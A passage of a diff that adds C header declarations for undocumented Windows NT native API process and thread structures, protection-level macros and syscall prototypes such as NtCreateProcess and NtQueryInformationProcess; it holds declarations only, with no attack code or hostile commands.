PPROCESS_HANDLE_TRACING_ENTRY; + +typedef struct _PROCESS_HANDLE_TRACING_QUERY +{ + HANDLE Handle; + ULONG TotalTraces; + PROCESS_HANDLE_TRACING_ENTRY HandleTrace[1]; +} PROCESS_HANDLE_TRACING_QUERY, * PPROCESS_HANDLE_TRACING_QUERY; +#endif // !_KERNEL_MODE + +// private +typedef struct _THREAD_TLS_INFORMATION +{ + ULONG Flags; + PVOID NewTlsData; + PVOID OldTlsData; + HANDLE ThreadId; +} THREAD_TLS_INFORMATION, * PTHREAD_TLS_INFORMATION; + +// private +typedef enum _PROCESS_TLS_INFORMATION_TYPE +{ + ProcessTlsReplaceIndex, + ProcessTlsReplaceVector, + MaxProcessTlsOperation +} PROCESS_TLS_INFORMATION_TYPE, * PPROCESS_TLS_INFORMATION_TYPE; + +// private +typedef struct _PROCESS_TLS_INFORMATION +{ + ULONG Flags; + ULONG OperationType; + ULONG ThreadDataCount; + ULONG TlsIndex; + ULONG PreviousCount; + THREAD_TLS_INFORMATION ThreadData[1]; +} PROCESS_TLS_INFORMATION, * PPROCESS_TLS_INFORMATION; + +// private +typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION +{ + ULONG Version; + ULONG Reserved; + PVOID Callback; +} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION, * PPROCESS_INSTRUMENTATION_CALLBACK_INFORMATION; + +// private +typedef struct _PROCESS_STACK_ALLOCATION_INFORMATION +{ + SIZE_T ReserveSize; + SIZE_T ZeroBits; + PVOID StackBase; +} PROCESS_STACK_ALLOCATION_INFORMATION, * PPROCESS_STACK_ALLOCATION_INFORMATION; + +// private +typedef struct _PROCESS_STACK_ALLOCATION_INFORMATION_EX +{ + ULONG PreferredNode; + ULONG Reserved0; + ULONG Reserved1; + ULONG Reserved2; + PROCESS_STACK_ALLOCATION_INFORMATION AllocInfo; +} PROCESS_STACK_ALLOCATION_INFORMATION_EX, * PPROCESS_STACK_ALLOCATION_INFORMATION_EX; + +// private +typedef union _PROCESS_AFFINITY_UPDATE_MODE +{ + ULONG Flags; + struct + { + ULONG EnableAutoUpdate : 1; + ULONG Permanent : 1; + ULONG Reserved : 30; + }; +} PROCESS_AFFINITY_UPDATE_MODE, * PPROCESS_AFFINITY_UPDATE_MODE; + +// private +typedef union _PROCESS_MEMORY_ALLOCATION_MODE +{ + ULONG Flags; + struct + { + ULONG TopDown : 1; + ULONG Reserved : 31; + }; +} PROCESS_MEMORY_ALLOCATION_MODE, * PPROCESS_MEMORY_ALLOCATION_MODE; + +// private +typedef struct _PROCESS_HANDLE_INFORMATION +{ + ULONG HandleCount; + ULONG HandleCountHighWatermark; +} PROCESS_HANDLE_INFORMATION, * PPROCESS_HANDLE_INFORMATION; + +// private +typedef struct _PROCESS_CYCLE_TIME_INFORMATION +{ + ULONGLONG AccumulatedCycles; + ULONGLONG CurrentCycleCount; +} PROCESS_CYCLE_TIME_INFORMATION, * PPROCESS_CYCLE_TIME_INFORMATION; + +// private +typedef struct _PROCESS_WINDOW_INFORMATION +{ + ULONG WindowFlags; + USHORT WindowTitleLength; + WCHAR WindowTitle[1]; +} PROCESS_WINDOW_INFORMATION, * PPROCESS_WINDOW_INFORMATION; + +// private +typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO +{ + HANDLE HandleValue; + ULONG_PTR HandleCount; + ULONG_PTR PointerCount; + ULONG GrantedAccess; + ULONG ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO; + +// private +typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION +{ + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION; + +// private +typedef struct _PROCESS_MITIGATION_POLICY_INFORMATION +{ + PROCESS_MITIGATION_POLICY Policy; + union + { + PROCESS_MITIGATION_ASLR_POLICY ASLRPolicy; + PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY StrictHandleCheckPolicy; + PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY SystemCallDisablePolicy; + PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY ExtensionPointDisablePolicy; + PROCESS_MITIGATION_DYNAMIC_CODE_POLICY DynamicCodePolicy; + +#if (NTDDI_VERSION >= NTDDI_WIN10_TH2) + PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY ControlFlowGuardPolicy; + PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY SignaturePolicy; + PROCESS_MITIGATION_FONT_DISABLE_POLICY FontDisablePolicy; + PROCESS_MITIGATION_IMAGE_LOAD_POLICY ImageLoadPolicy; +#endif // NTDDI_VERSION >= NTDDI_WIN10_TH2 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) + PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY SystemCallFilterPolicy; + PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY PayloadRestrictionPolicy; + PROCESS_MITIGATION_CHILD_PROCESS_POLICY ChildProcessPolicy; +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) + PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY SideChannelIsolationPolicy; +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS5 + +#if (NTDDI_VERSION >= NTDDI_WIN10_VB) + PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY UserShadowStackPolicy; +#endif // NTDDI_VERSION >= NTDDI_WIN10_MN + +#if (NTDDI_VERSION >= NTDDI_WIN10_MN) + PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY RedirectionTrustPolicy; +#endif // NTDDI_VERSION >= NTDDI_WIN10_MN + + }; +} PROCESS_MITIGATION_POLICY_INFORMATION, * PPROCESS_MITIGATION_POLICY_INFORMATION; + +#ifndef _KERNEL_MODE +typedef struct _PROCESS_KEEPALIVE_COUNT_INFORMATION +{ + ULONG WakeCount; + ULONG NoWakeCount; +} PROCESS_KEEPALIVE_COUNT_INFORMATION, * PPROCESS_KEEPALIVE_COUNT_INFORMATION; + +typedef struct _PROCESS_REVOKE_FILE_HANDLES_INFORMATION +{ + UNICODE_STRING TargetDevicePath; +} PROCESS_REVOKE_FILE_HANDLES_INFORMATION, * PPROCESS_REVOKE_FILE_HANDLES_INFORMATION; +#endif // !_KERNEL_MODE + +// begin_private + +typedef enum _PROCESS_WORKING_SET_OPERATION +{ + ProcessWorkingSetSwap, + ProcessWorkingSetEmpty, + ProcessWorkingSetOperationMax +} PROCESS_WORKING_SET_OPERATION; + +typedef struct _PROCESS_WORKING_SET_CONTROL +{ + ULONG Version; + PROCESS_WORKING_SET_OPERATION Operation; + ULONG Flags; +} PROCESS_WORKING_SET_CONTROL, * PPROCESS_WORKING_SET_CONTROL; + +typedef enum _PS_PROTECTED_TYPE +{ + PsProtectedTypeNone, + PsProtectedTypeProtectedLight, + PsProtectedTypeProtected, + PsProtectedTypeMax +} PS_PROTECTED_TYPE; + +typedef enum _PS_PROTECTED_SIGNER +{ + PsProtectedSignerNone, + PsProtectedSignerAuthenticode, + PsProtectedSignerCodeGen, + PsProtectedSignerAntimalware, + PsProtectedSignerLsa, + PsProtectedSignerWindows, + PsProtectedSignerWinTcb, + PsProtectedSignerWinSystem, + PsProtectedSignerApp, + PsProtectedSignerMax +} PS_PROTECTED_SIGNER; + +#define PS_PROTECTED_SIGNER_MASK 0xFF +#define PS_PROTECTED_AUDIT_MASK 0x08 +#define PS_PROTECTED_TYPE_MASK 0x07 + +// vProtectionLevel.Level = PsProtectedValue(PsProtectedSignerCodeGen, FALSE, PsProtectedTypeProtectedLight) +#define PsProtectedValue(aSigner, aAudit, aType) ( \ + ((aSigner & PS_PROTECTED_SIGNER_MASK) << 4) | \ + ((aAudit & PS_PROTECTED_AUDIT_MASK) << 3) | \ + (aType & PS_PROTECTED_TYPE_MASK)\ + ) + +// InitializePsProtection(&vProtectionLevel, PsProtectedSignerCodeGen, FALSE, PsProtectedTypeProtectedLight) +#define InitializePsProtection(aProtectionLevelPtr, aSigner, aAudit, aType) { \ + (aProtectionLevelPtr)->Signer = aSigner; \ + (aProtectionLevelPtr)->Audit = aAudit; \ + (aProtectionLevelPtr)->Type = aType; \ + } + +typedef struct _PS_PROTECTION +{ + union + { + UCHAR Level; + struct + { + UCHAR Type : 3; + UCHAR Audit : 1; + UCHAR Signer : 4; + }; + }; +} PS_PROTECTION, * PPS_PROTECTION; + +typedef struct _PROCESS_FAULT_INFORMATION +{ + ULONG FaultFlags; + ULONG AdditionalInfo; +} PROCESS_FAULT_INFORMATION, * PPROCESS_FAULT_INFORMATION; + +typedef struct _PROCESS_TELEMETRY_ID_INFORMATION +{ + ULONG HeaderSize; + ULONG ProcessId; + ULONGLONG ProcessStartKey; + ULONGLONG CreateTime; + ULONGLONG CreateInterruptTime; + ULONGLONG CreateUnbiasedInterruptTime; + ULONGLONG ProcessSequenceNumber; + ULONGLONG SessionCreateTime; + ULONG SessionId; + ULONG BootId; + ULONG ImageChecksum; + ULONG ImageTimeDateStamp; + ULONG UserSidOffset; + ULONG ImagePathOffset; + ULONG PackageNameOffset; + ULONG RelativeAppNameOffset; + ULONG CommandLineOffset; +} PROCESS_TELEMETRY_ID_INFORMATION, * PPROCESS_TELEMETRY_ID_INFORMATION; + +typedef struct _PROCESS_COMMIT_RELEASE_INFORMATION +{ + ULONG Version; + struct + { + ULONG Eligible : 1; + ULONG ReleaseRepurposedMemResetCommit : 1; + ULONG ForceReleaseMemResetCommit : 1; + ULONG Spare : 29; + }; + SIZE_T CommitDebt; + SIZE_T CommittedMemResetSize; + SIZE_T RepurposedMemResetSize; +} PROCESS_COMMIT_RELEASE_INFORMATION, * PPROCESS_COMMIT_RELEASE_INFORMATION; + +typedef struct _PROCESS_JOB_MEMORY_INFO +{ + ULONGLONG SharedCommitUsage; + ULONGLONG PrivateCommitUsage; + ULONGLONG PeakPrivateCommitUsage; + ULONGLONG PrivateCommitLimit; + ULONGLONG TotalCommitLimit; +} PROCESS_JOB_MEMORY_INFO, * PPROCESS_JOB_MEMORY_INFO; + +typedef struct _PROCESS_CHILD_PROCESS_INFORMATION +{ + BOOLEAN ProhibitChildProcesses; + BOOLEAN AlwaysAllowSecureChildProcess; // REDSTONE3 + BOOLEAN AuditProhibitChildProcesses; +} PROCESS_CHILD_PROCESS_INFORMATION, * PPROCESS_CHILD_PROCESS_INFORMATION; + +#ifndef _KERNEL_MODE +// +// Process resource throttling information +// NtQueryInformationProcess using ProcessPowerThrottlingState +// + +#define POWER_THROTTLING_PROCESS_CURRENT_VERSION 1 + +#define POWER_THROTTLING_PROCESS_EXECUTION_SPEED 0x1 +#define POWER_THROTTLING_PROCESS_DELAYTIMERS 0x2 +#define POWER_THROTTLING_PROCESS_IGNORE_TIMER_RESOLUTION 0x4 + +#define POWER_THROTTLING_PROCESS_VALID_FLAGS ((POWER_THROTTLING_PROCESS_EXECUTION_SPEED | \ + POWER_THROTTLING_PROCESS_DELAYTIMERS | \ + POWER_THROTTLING_PROCESS_IGNORE_TIMER_RESOLUTION)) + +typedef struct _POWER_THROTTLING_PROCESS_STATE +{ + ULONG Version; + ULONG ControlMask; + ULONG StateMask; +} POWER_THROTTLING_PROCESS_STATE, * PPOWER_THROTTLING_PROCESS_STATE; +#endif // !_KERNEL_MODE + +typedef struct _WIN32K_SYSCALL_FILTER +{ + ULONG FilterState; + ULONG FilterSet; +} WIN32K_SYSCALL_FILTER, * PWIN32K_SYSCALL_FILTER; + +typedef struct _PROCESS_WAKE_INFORMATION +{ + ULONGLONG NotificationChannel; + ULONG WakeCounters[7]; + struct _JOBOBJECT_WAKE_FILTER* WakeFilter; +} PROCESS_WAKE_INFORMATION, * PPROCESS_WAKE_INFORMATION; + +typedef struct _PROCESS_ENERGY_TRACKING_STATE +{ + ULONG StateUpdateMask; + ULONG StateDesiredValue; + ULONG StateSequence; + ULONG UpdateTag : 1; + WCHAR Tag[64]; +} PROCESS_ENERGY_TRACKING_STATE, * PPROCESS_ENERGY_TRACKING_STATE; + +typedef struct _MANAGE_WRITES_TO_EXECUTABLE_MEMORY +{ + ULONG Version : 8; + ULONG ProcessEnableWriteExceptions : 1; + ULONG ThreadAllowWrites : 1; + ULONG Spare : 22; + PVOID KernelWriteToExecutableSignal; // 19H1 +} MANAGE_WRITES_TO_EXECUTABLE_MEMORY, * PMANAGE_WRITES_TO_EXECUTABLE_MEMORY; + +#ifndef _KERNEL_MODE +#define POWER_THROTTLING_THREAD_CURRENT_VERSION 1 +#define POWER_THROTTLING_THREAD_EXECUTION_SPEED 0x1 +#define POWER_THROTTLING_THREAD_VALID_FLAGS (POWER_THROTTLING_THREAD_EXECUTION_SPEED) + +typedef struct _POWER_THROTTLING_THREAD_STATE +{ + ULONG Version; + ULONG ControlMask; + ULONG StateMask; +} POWER_THROTTLING_THREAD_STATE, * PPOWER_THROTTLING_THREAD_STATE; +#endif // !_KERNEL_MODE + +// +// Process Read/WriteVm Logging +// NtQueryInformationProcess using ProcessEnableReadWriteVmLogging +// +#define PROCESS_READWRITEVM_LOGGING_ENABLE_READVM 0x01 +#define PROCESS_READWRITEVM_LOGGING_ENABLE_READVM_V 1UL +#define PROCESS_READWRITEVM_LOGGING_ENABLE_WRITEVM 0x02L +#define PROCESS_READWRITEVM_LOGGING_ENABLE_WRITEVM_V 2UL + +#if (WDK_NTDDI_VERSION != NTDDI_WIN10_RS3) && (WDK_NTDDI_VERSION != NTDDI_WIN10_RS4) +typedef union _PROCESS_READWRITEVM_LOGGING_INFORMATION +{ + UCHAR Flags; + struct + { + UCHAR EnableReadVmLogging : 1; + UCHAR EnableWriteVmLogging : 1; + UCHAR Unused : 6; + }; +} PROCESS_READWRITEVM_LOGGING_INFORMATION, * PPROCESS_READWRITEVM_LOGGING_INFORMATION; +#endif // (WDK_NTDDI_VERSION != NTDDI_WIN10_RS3) && (WDK_NTDDI_VERSION != NTDDI_WIN10_RS4) + +typedef struct _PROCESS_UPTIME_INFORMATION +{ + ULONGLONG QueryInterruptTime; + ULONGLONG QueryUnbiasedTime; + ULONGLONG EndInterruptTime; + ULONGLONG TimeSinceCreation; + ULONGLONG Uptime; + ULONGLONG SuspendedTime; + union + { + ULONG HangCount : 4; + ULONG GhostCount : 4; + ULONG Crashed : 1; + ULONG Terminated : 1; + }; +} PROCESS_UPTIME_INFORMATION, * PPROCESS_UPTIME_INFORMATION; + +typedef union _PROCESS_SYSTEM_RESOURCE_MANAGEMENT +{ + ULONG Flags; + struct + { + ULONG Foreground : 1; + ULONG Reserved : 31; + }; +} PROCESS_SYSTEM_RESOURCE_MANAGEMENT, * PPROCESS_SYSTEM_RESOURCE_MANAGEMENT; + +// private +typedef struct _PROCESS_SECURITY_DOMAIN_INFORMATION +{ + ULONGLONG SecurityDomain; +} PROCESS_SECURITY_DOMAIN_INFORMATION, * PPROCESS_SECURITY_DOMAIN_INFORMATION; + +// private +typedef struct _PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION +{ + HANDLE ProcessHandle; +} PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION, * PPROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION; + +// private +typedef union _PROCESS_LOGGING_INFORMATION +{ + ULONG Flags; + struct + { + ULONG EnableReadVmLogging : 1; + ULONG EnableWriteVmLogging : 1; + ULONG EnableProcessSuspendResumeLogging : 1; + ULONG EnableThreadSuspendResumeLogging : 1; + ULONG Reserved : 28; + }; +} PROCESS_LOGGING_INFORMATION, * PPROCESS_LOGGING_INFORMATION; + +// private +typedef struct _PROCESS_LEAP_SECOND_INFORMATION +{ + ULONG Flags; + ULONG Reserved; +} PROCESS_LEAP_SECOND_INFORMATION, * PPROCESS_LEAP_SECOND_INFORMATION; + +// private +typedef struct _PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION +{ + ULONGLONG ReserveSize; + ULONGLONG CommitSize; + ULONG PreferredNode; + ULONG Reserved; + PVOID Ssp; +} PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION, * PPROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION; + +// private +typedef struct _PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION +{ + PVOID Ssp; +} PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION, * PPROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION; + +//// private +//typedef struct _PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE +//{ +// ULONG_PTR BaseAddress; +// SIZE_T Size; +// ULONG Flags; +//} PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE, *PPROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE; +// +//// private +//typedef struct _PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGES_INFORMATION +//{ +// USHORT NumberOfRanges; +// USHORT Reserved; +// ULONG Reserved2; +// PPROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE Ranges; +//} PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGES_INFORMATION, *PPROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGES_INFORMATION; + +// end_private + +// +// Thread information structures +// + +typedef struct _THREAD_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PTEB TebBaseAddress; + CLIENT_ID ClientId; + ULONG_PTR AffinityMask; + KPRIORITY Priority; + LONG BasePriority; +} THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION; + +// private +typedef struct _THREAD_LAST_SYSCALL_INFORMATION +{ + PVOID FirstArgument; + USHORT SystemCallNumber; +#ifdef WIN64 + USHORT Pad[0x3]; // since REDSTONE2 +#else + USHORT Pad[0x1]; // since REDSTONE2 +#endif + ULONG64 WaitTime; +} THREAD_LAST_SYSCALL_INFORMATION, * PTHREAD_LAST_SYSCALL_INFORMATION; + +// private +typedef struct _THREAD_CYCLE_TIME_INFORMATION +{ + ULONGLONG AccumulatedCycles; + ULONGLONG CurrentCycleCount; +} THREAD_CYCLE_TIME_INFORMATION, * PTHREAD_CYCLE_TIME_INFORMATION; + +// private +typedef struct _THREAD_TEB_INFORMATION +{ + PVOID TebInformation; // buffer to place data in + ULONG TebOffset; // offset in TEB to begin reading from + ULONG BytesToRead; // number of bytes to read +} THREAD_TEB_INFORMATION, * PTHREAD_TEB_INFORMATION; + +// symbols +typedef struct _COUNTER_READING +{ + HARDWARE_COUNTER_TYPE Type; + ULONG Index; + ULONG64 Start; + ULONG64 Total; +} COUNTER_READING, * PCOUNTER_READING; + +// symbols +typedef struct _THREAD_PERFORMANCE_DATA +{ + USHORT Size; + USHORT Version; + PROCESSOR_NUMBER ProcessorNumber; + ULONG ContextSwitches; + ULONG HwCountersCount; + ULONG64 UpdateCount; + ULONG64 WaitReasonBitMap; + ULONG64 HardwareCounters; + COUNTER_READING CycleTime; + COUNTER_READING HwCounters[MAX_HW_COUNTERS]; +} THREAD_PERFORMANCE_DATA, * PTHREAD_PERFORMANCE_DATA; + +// private +typedef struct _THREAD_PROFILING_INFORMATION +{ + ULONG64 HardwareCounters; + ULONG Flags; + ULONG Enable; + PTHREAD_PERFORMANCE_DATA PerformanceData; +} THREAD_PROFILING_INFORMATION, * PTHREAD_PROFILING_INFORMATION; + +// private +typedef struct _RTL_UMS_CONTEXT +{ + SINGLE_LIST_ENTRY Link; + CONTEXT Context; + PVOID Teb; + PVOID UserContext; + volatile ULONG ScheduledThread : 1; + volatile ULONG Suspended : 1; + volatile ULONG VolatileContext : 1; + volatile ULONG Terminated : 1; + volatile ULONG DebugActive : 1; + volatile ULONG RunningOnSelfThread : 1; + volatile ULONG DenyRunningOnSelfThread : 1; + volatile LONG Flags; + volatile ULONG64 KernelUpdateLock : 2; + volatile ULONG64 PrimaryClientID : 62; + volatile ULONG64 ContextLock; + struct _RTL_UMS_CONTEXT* PrimaryUmsContext; + ULONG SwitchCount; + ULONG KernelYieldCount; + ULONG MixedYieldCount; + ULONG YieldCount; +} RTL_UMS_CONTEXT, * PRTL_UMS_CONTEXT; + +// private +typedef enum _THREAD_UMS_INFORMATION_COMMAND +{ + UmsInformationCommandInvalid, + UmsInformationCommandAttach, + UmsInformationCommandDetach, + UmsInformationCommandQuery +} THREAD_UMS_INFORMATION_COMMAND; + +// private +typedef struct _RTL_UMS_COMPLETION_LIST +{ + PSINGLE_LIST_ENTRY ThreadListHead; + PVOID CompletionEvent; + ULONG CompletionFlags; + SINGLE_LIST_ENTRY InternalListHead; +} RTL_UMS_COMPLETION_LIST, * PRTL_UMS_COMPLETION_LIST; + +// private +typedef struct _THREAD_UMS_INFORMATION +{ + THREAD_UMS_INFORMATION_COMMAND Command; + PRTL_UMS_COMPLETION_LIST CompletionList; + PRTL_UMS_CONTEXT UmsContext; + union + { + ULONG Flags; + struct + { + ULONG IsUmsSchedulerThread : 1; + ULONG IsUmsWorkerThread : 1; + ULONG SpareBits : 30; + }; + }; +} THREAD_UMS_INFORMATION, * PTHREAD_UMS_INFORMATION; + +// private +typedef struct _THREAD_NAME_INFORMATION +{ + UNICODE_STRING ThreadName; +} THREAD_NAME_INFORMATION, * PTHREAD_NAME_INFORMATION; + +// private +typedef struct _ALPC_WORK_ON_BEHALF_TICKET +{ + ULONG ThreadId; + ULONG ThreadCreationTimeLow; +} ALPC_WORK_ON_BEHALF_TICKET, * PALPC_WORK_ON_BEHALF_TICKET; + +// private +typedef struct _RTL_WORK_ON_BEHALF_TICKET_EX +{ + ALPC_WORK_ON_BEHALF_TICKET Ticket; + union + { + ULONG Flags; + struct + { + ULONG CurrentThread : 1; + ULONG Reserved1 : 31; + }; + }; + ULONG Reserved2; +} RTL_WORK_ON_BEHALF_TICKET_EX, * PRTL_WORK_ON_BEHALF_TICKET_EX; + +#ifndef _KERNEL_MODE +// private +typedef enum _SUBSYSTEM_INFORMATION_TYPE +{ + SubsystemInformationTypeWin32, + SubsystemInformationTypeWSL, + MaxSubsystemInformationType +} SUBSYSTEM_INFORMATION_TYPE; +#endif // !_KERNEL_MODE + +// private +typedef enum _THREAD_WORKLOAD_CLASS +{ + ThreadWorkloadClassDefault, + ThreadWorkloadClassGraphics, + MaxThreadWorkloadClass +} THREAD_WORKLOAD_CLASS; + +// +// Processes +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ BOOLEAN InheritObjectTable, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ BOOLEAN InheritObjectTable, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort +); + +#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 +#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 +#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 +#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 +#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProcessEx( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort, + _Reserved_ ULONG Reserved // JobMemberLevel +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateProcessEx( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort, + _Reserved_ ULONG Reserved // JobMemberLevel +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSuspendProcess( + _In_ HANDLE ProcessHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSuspendProcess( + _In_ HANDLE ProcessHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtResumeProcess( + _In_ HANDLE ProcessHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwResumeProcess( + _In_ HANDLE ProcessHandle +); + +#ifndef _KERNEL_MODE +#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) +#define ZwCurrentProcess() NtCurrentProcess() + +#define NtCurrentThread() ((HANDLE)(LONG_PTR)-2) +#define ZwCurrentThread() NtCurrentThread() + +#define NtCurrentSession() ((HANDLE)(LONG_PTR)-3) +#define ZwCurrentSession() NtCurrentSession() +#endif // !_KERNEL_MODE + +#define NtCurrentPeb() (NtCurrentTeb()->ProcessEnvironmentBlock) + +// Windows 8 and above +#define NtCurrentProcessToken() ((HANDLE)(LONG_PTR)-4) // NtOpenProcessToken(NtCurrentProcess()) +#define NtCurrentThreadToken() ((HANDLE)(LONG_PTR)-5) // NtOpenThreadToken(NtCurrentThread()) +#define NtCurrentThreadEffectiveToken() ((HANDLE)(LONG_PTR)-6) // NtOpenThreadToken(NtCurrentThread()) + NtOpenProcessToken(NtCurrentProcess()) + +#define NtCurrentSilo() ( (HANDLE)(LONG_PTR) -1 ) + +// Not NT, but useful. +#define NtCurrentProcessId() (NtCurrentTeb()->ClientId.UniqueProcess) +#define NtCurrentThreadId() (NtCurrentTeb()->ClientId.UniqueThread) + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength +); + +#if (NTDDI_VERSION >= NTDDI_WS03) +#define PROCESS_GET_NEXT_FLAGS_PREVIOUS_PROCESS 0x00000001 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNextProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewProcessHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetNextProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewProcessHandle +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNextThread( + _In_ HANDLE ProcessHandle, + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewThreadHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetNextThread( + _In_ HANDLE ProcessHandle, + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewThreadHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS 